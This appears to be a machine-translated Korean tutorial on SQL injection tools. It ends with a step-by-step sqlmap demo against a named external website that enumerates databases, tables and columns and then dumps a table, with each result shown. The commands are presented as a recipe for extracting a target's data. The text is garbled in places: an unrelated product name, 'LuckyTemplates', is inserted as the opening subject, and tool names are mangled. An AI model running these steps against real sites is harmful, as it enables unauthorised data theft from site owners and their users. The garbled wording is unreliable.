Web6: SQL 주입 - 일부 악용 도구

이 섹션에서는 LuckyTemplates가 SQL 주입을 활용하는 데 사용되는 몇 가지 도구를 소개합니다 .

현재 많은 보안 취약점 검색 도구(SQL 삽입 포함)가 있습니다. 이러한 도구를 사용하면 SQL 주입 취약점을 매우 강력하게 감지하고 악용할 수 있습니다. 일반적으로 사용되는 자동 SQL 주입 취약점 악용 도구는 다음과 같습니다.

• SQLmap
• The Mole (데이터 발굴)
• 하비즈

Netsparker, jSQL 주입, Burp, BBQSQL 등 참조할 수 있는 다른 도구도 있습니다.

다음은 Sqlmap을 사용하여 기본 SQL 주입을 활용하는 데모입니다.

http://sqlmap.org/에서 Sqlmap을 다운로드합니다.

Sqlmap은 Python으로 작성되었으므로 이 도구를 사용하려면 Python을 설치해야 합니다. http://www.python.org/downloads/에서 Python을 다운로드할 수 있습니다.

먼저 대상 웹사이트를 식별해야 합니다. 여기에는 다음 대상이 있습니다: http://zerocoolhf.altervista.org/level1.php?id=1 (이 페이지는 이제 종료되었습니다).

1단계 : cmd를 열고 다음 명령을 입력합니다.

python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1”

sqlmap은 대상의 취약점을 감지하고 취약점에 대한 정보를 제공합니다.

2단계 : 대상 웹사이트에 SQL 주입 취약점이 있다고 판단되면 데이터베이스 이름을 찾습니다.

python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --dbs

=> 데이터베이스: my_zerocoolhf

3단계 : 데이터베이스 이름을 결정한 후에는 계속해서 데이터베이스에서 테이블 이름을 찾습니다.

python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --tables –D my_zerocoolhf

=> 데이터베이스에는 auth와 book이라는 2개의 테이블이 있습니다.

4단계 : 테이블의 열 이름 결정

python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --columns –D my_zerocoolhf –T book

=> 도서 테이블의 열(저자, ID, 가격, 제목)을 식별합니다.

5단계 : 테이블에서 데이터를 덤프합니다.

python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --dump –D my_zerocoolhf –T book

=> 그래서 우리는 대상 웹사이트의 데이터베이스를 얻었습니다.

위는 SQL 주입 오류를 활용하기 위해 sqlmap을 사용하는 기본 데모입니다. https://github.com/sqlmapproject/sqlmap/wiki/Usage에서 sqlmap 옵션에 대해 자세히 알아보고 활용을 지원할 수 있습니다. SQL 주입 공격.